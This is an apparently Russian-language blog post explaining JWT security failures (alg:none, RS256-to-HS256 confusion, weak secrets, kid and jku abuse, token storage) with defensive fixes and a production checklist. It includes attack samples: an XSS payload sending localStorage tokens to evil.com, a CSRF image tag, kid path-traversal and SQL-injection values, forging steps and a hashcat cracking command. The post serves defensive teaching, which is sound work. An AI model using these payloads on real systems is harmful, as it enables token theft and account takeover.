ToolAct

Почему JWT небезопасен: от подмены алгоритма до утечки ключей — уроки из реальных инцидентов

Инструменты разработки9 сент. 2026 г.18 мин чтения

Оповещение в 3 ночи, которое изменило мой взгляд на JWT

2:47 ночи, среда. Телефон вибрирует без остановки. Одна строка в канале ops: “Admin API вызван без авторизации на стейдже.”

Открываю ноутбук полусонный. Логи показывают: только что зарегистрированный обычный пользователь взял свой JWT, поменял в payload role с user на admin и вызвал endpoint удаления. Сервер ответил 200 OK.

Внутри всё похолодело. Мы же используем JWT. Разве это не “безопасно”? Как смена одного поля обошла всё?

Постмортем отрезвил: виноват не JWT. Мы относились к нему как к серебряной пуле. После этого я проаудировал каждое использование JWT в кодовой базе и мне стало плохо: alg:none не заблокирован, секрет 123456, токены в localStorage, срок жизни 30 дней… все анти-паттерны из учебника.

Этот пост — тот разбор, который я хотел бы иметь тогда. JWT — элегантный дизайн, но элегантный значит низкая толерантность к неправильному использованию. Один неверный шаг — и вы отдаёте ключи.

Сначала базы: что такое JWT и чем он не является

Самый опасный миф: “JWT зашифрован.” Нет. JWT — это JSON Web Token. Он отвечает на вопрос “выдал ли я это и было ли оно изменено?” а не “как скрыть данные?”

Обычный JWT состоит из трёх частей, разделённых точками:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMywicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
  • Header: {"alg":"HS256","typ":"JWT"} — “Я подписан HS256.”
  • Payload: {"uid":123,"role":"user"} — бизнес-данные, просто закодированы в Base64Url. Любой может декодировать.
  • Signature: HMAC или RSA по первым двум частям с ключом/алгоритмом из header.

Думайте о JWT как об открытке с восковой печатью. Любой может прочитать, что вы написали, но если печать не совпадает — значит, было вмешательство. Никогда не пишите PIN на открытке.

Поэтому перестаньте класть password, phone или SSN в payload. Худшее, что я видел — SELECT * из таблицы users, засунутый в токен — 8 КБ на запрос, гейтвей лёг.

Категория 1: Путаница алгоритмов — элегантно и смертельно

Это самый известный класс багов JWT, публичный с 2015 года, но многие библиотеки до сих пор “доверяют alg от клиента”.

1. Сменили alg на none — и сервер сказал “конечно!”

none — валидный алгоритм JWS, означающий “без подписи”. Существует для незащищённых случаев. Плохая проверка выглядит так:

// ТАК ДЕЛАТЬ НЕЛЬЗЯ
const [h] = token.split('.');
const header = JSON.parse(base64UrlDecode(h));
if (header.alg === 'none') return true; // без проверки!
return verify(token, secret);

Эксплойт тривиален: поменяйте header на {"alg":"none"}, payload на {"role":"admin"}, уберите подпись. Сервер впускает.

Когда я впервые воспроизвёл это на стейдже, руки дрожали. Одна смена строки = админ.

Защита: Применяйте allowlist. Сервер хардкодит algorithms: ['HS256'] или ['RS256']. Отклоняйте none. Современный jsonwebtoken отключает none по умолчанию, но самописные верификаторы всё ещё проваливаются.

2. Переключение RS256 → HS256: используем публичный ключ как HMAC-секрет

На этом погорели крупные компании.

RS256 — асимметричный: приватный ключ подписывает, публичный проверяет. HS256 — симметричный: один секрет и подписывает, и проверяет.

Баг: некоторые библиотеки выбирают метод проверки по header.alg. Злоумышленник берёт RS256-токен, меняет header на HS256, и сервер думает: “О, HS256? Тогда проверю HMAC-ом с ‘секретом’.” А этот “секрет” — публичный ключ RS256 — который публичен.

# Шаги злоумышленника
1. Получить публичный ключ RS256 из /.well-known/jwks.json
2. Собрать header {"alg":"HS256","typ":"JWT"}
3. Собрать payload {"uid":1,"role":"admin"}
4. Подписать HS256, используя строку публичного ключа как секрет
5. Сервер проверяет HMAC тем же публичным ключом → проходит

Тим Маклин раскрыл это в 2015; многие Python/Ruby библиотеки пострадали. Тонко, разрушительно.

Защита: Два правила: ① Алгоритм проверки задаётся сервером, никогда из токена. ② Держите публичные ключи RS256 и секреты HS256 раздельно. Всегда передавайте algorithms: ['RS256'] явно.

3. Никогда не доверяйте заголовкам, контролируемым клиентом

header.alg контролируется атакующим. Относитесь к нему как к isAdmin=true от клиента — никогда не доверяйте.

Категория 2: Ключи — тонкие как бумага, если сделаны плохо

1. Слабые секреты: 123456 — не секрет

Я брутфорсил секреты JWT с hashcat за секунды: secret, password, 123456, jwt_secret. Аббревиатура компании + год вроде acme2023 едва ли лучше. Подписи JWT детерминированы, поэтому атакующий может брутфорсить офлайн, не трогая ваш сервер.

hashcat -a 0 -m 16500 jwt.txt rockyou.txt

Защита: Минимум 32 случайных байта: openssl rand -hex 32. Немедленно ротируйте, если вы выкатили слабый секрет, и инвалидируйте старые токены.

2. Утечка ключей: фронтенд, GitHub, логи

Три утечки из аудитов:

  • Фронтенд-бандл: JWT_SECRET упакован в app.js. Ищется в devtools.
  • GitHub: .env закоммичен с my_super_secret_123.
  • Логи: Полные токены залогированы в ELK, видны всем. Утечка токена = эквивалент утечки ключа.

Некоторые фреймворки даже сливают секрет в сообщениях об ошибках при провале проверки.

Защита: Ключи живут только в env-переменных или KMS. Фронтенд хранит токены, никогда секреты. Маскируйте токены в логах.

3. kid — забытый бэкдор

Поле заголовка kid (Key ID) говорит серверу, какой ключ использовать:

const kid = header.kid;
const key = getKey(kid); // часто конкатенация строк
verify(token, key);

Если getKey наивен:

  • Path traversal: kid="../../dev/null" → сервер использует пустой файл как ключ.
  • SQLi: kid="1' OR '1'='1" если kid конкатенируется в SQL.
  • Проба чтения файла: /keys/${kid}.pem с kid="../../../../etc/passwd".

Я однажды перечислил валидные kids по разнице времени отклика “key not found”.

Защита: Строгий allowlist для kid (алфавит+цифры+дефис). Используйте map, никогда интерполяцию пути/SQL.

4. jku и x5u — позволяем атакующему выбрать ваш ключ

jku (JWK Set URL) и x5u (X509 URL) говорят “забери мой публичный ключ по этому URL”. Если сервер им доверяет, атакующий указывает jku на свой сервер и сервер послушно идёт за ключом атакующего, чтобы проверить токен атакующего.

Защита: Отключите jku/x5u/x5c в проде. Если нужно — allowlist доменов + принудительный HTTPS.

Категория 3: Срок действия, отзыв, повтор — цена stateless

Главное преимущество JWT — stateless — это и проклятие. Сессии легко отозвать: удалите сессию. JWT, будучи выпущенным, — это безотзывный чек до истечения срока. Смена пароля, бан аккаунта, кража токена — атакующий пользуется им до истечения срока.

Я видел exp на 30 дней или никогда. “Для лучшего UX, без логина.” Потом потерянный телефон = окно в 30 дней.

Правильный паттерн — короткий + отзываемый:

  • Короткий access-токен: 5–15 мин, минимальные claims.
  • Вращающийся refresh-токен: Более долгоживущий, хранится httpOnly + БД. Инвалидируйте старый refresh при использовании. Детекция повторного использования: один и тот же refresh использован дважды → отзовите все токены пользователя.
  • Блоклист/allowlist: При логауте/смене пароля/бане положите jti в Redis с TTL = оставшийся срок. Проверяйте блоклист при верификации. Да, становится stateful — необходимый компромисс.
  • Валидируйте aud, iss, nbf: Многие верификаторы пропускают aud/iss. Результат: токен сервиса A работает на сервисе B.
jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
  issuer: 'auth.mycompany.com',
  audience: 'api.mycompany.com',
  clockTolerance: 5
});

Категория 4: Где вы храните JWT — решает, как вы умрёте

ГдеПлюсыМинусыКак утекает
localStorage / sessionStorageЛегко для фронтендаЛюбой JS может читатьОдин XSS крадёт всё
Переменная в памятиИсчезает при закрытии вкладкиТеряется при обновленииБезопаснее, но UX хуже
Cookie httpOnly + Secure + SameSiteJS не читает, стойкий к XSSРиск CSRFНужен CSRF-токен

Самая частая ошибка: положить токен в localStorage для удобства, потом поле комментариев без фильтра XSS инжектируется <img src=x onerror=fetch('https://evil.com?c='+localStorage.getItem('token'))> — токены всех посетителей собраны.

Куки тоже не магия: авто-отправляются, позволяют CSRF — <img src="https://api.mycompany.com/transfer?to=attacker"> вызывает аутентифицированный запрос, если пользователь залогинен.

Стабильный прод-паттерн сегодня: access-токен в памяти, refresh-токен в cookie httpOnly + Secure + SameSite=Strict, плюс SameSite и анти-CSRF-токен. Обновление при перезагрузке. И HTTPS везде, иначе токены — открытый текст.

Категория 5: Забытые claims

Валидная подпись ≠ валидный бизнес. Многие кодовые базы делают req.user = decoded после проверки и пропускают:

  • exp не проверен — некоторые библиотеки не проверяют срок действия по умолчанию.
  • nbf не проверен — “not before” игнорируется, токен использован раньше времени.
  • Привилегии в payload, которым доверяют: кладут role/isVip в JWT и доверяют. Лучше: JWT несёт только uid, привилегии берите из БД/кэша.
  • Replay: Нет дедупликации jti, украденный токен переигрывается. Для чувствительных действий требуйте одноразовый jti или связывайте jti + ip + ua.

Прод-чеклист — что я теперь требую

  1. Allowlist алгоритма: Хардкод algorithms: ['RS256']. Никогда не читайте alg из header. Отключите none, jku, x5u.
  2. Сильные, ротируемые ключи: ≥32 случайных байта для HS256, ≥2048-бит для RS256. Храните в KMS/env, поддерживайте ротацию по kid, держите старый ключ 7 дней.
  3. Короткий срок + ротация: access 10 мин, refresh 7 дней с ротацией + блоклист при логауте/смене пароля/бане.
  4. Минимальный payload: Только uid, jti, exp, iat. Никакой PII. Для чувствительных данных — JWE.
  5. Строгая валидация: Проверяйте iss, aud, exp, nbf, jti. Никогда не доверяйте JWT для авторизации; спрашивайте сервер.
  6. Хранение: Refresh в httpOnly-cookie, access в памяти. Маскируйте логи, требуйте HTTPS, CSP против XSS.
  7. Наблюдаемость: Трассируйте выпуск/обновление/отзыв jti, алертите при повторном использовании.

Одной строкой: относитесь к JWT как к одноразовому пропуску, а не как к постоянному удостоверению.

Заключение: сломан не JWT — слепое доверие сломано

Дизайн JWT сдержан: три части, Base64Url, опциональные алгоритмы, стандартные claims. Почти каждая “небезопасность” — это лень реализации: доверие к alg ради экономии усилий, слабые секреты ради удобства, месячный срок ради UX, запихивание прав в payload ради скорости.

Как кухонный нож: сам по себе не опасен, но размахивая им вслепую — порежетесь.

Если вы сегодня используете JWT, прогрепьте кодовую базу сегодня же ночью: есть ли где-то verify(token, secret) без algorithms? Лежит ли секрет в открытом виде в config.js? Истекает ли токен днями? Исправьте хоть одно — и вы предотвратили одно оповещение в 3 ночи.

Не ждите взлома, чтобы вспомнить этот пост.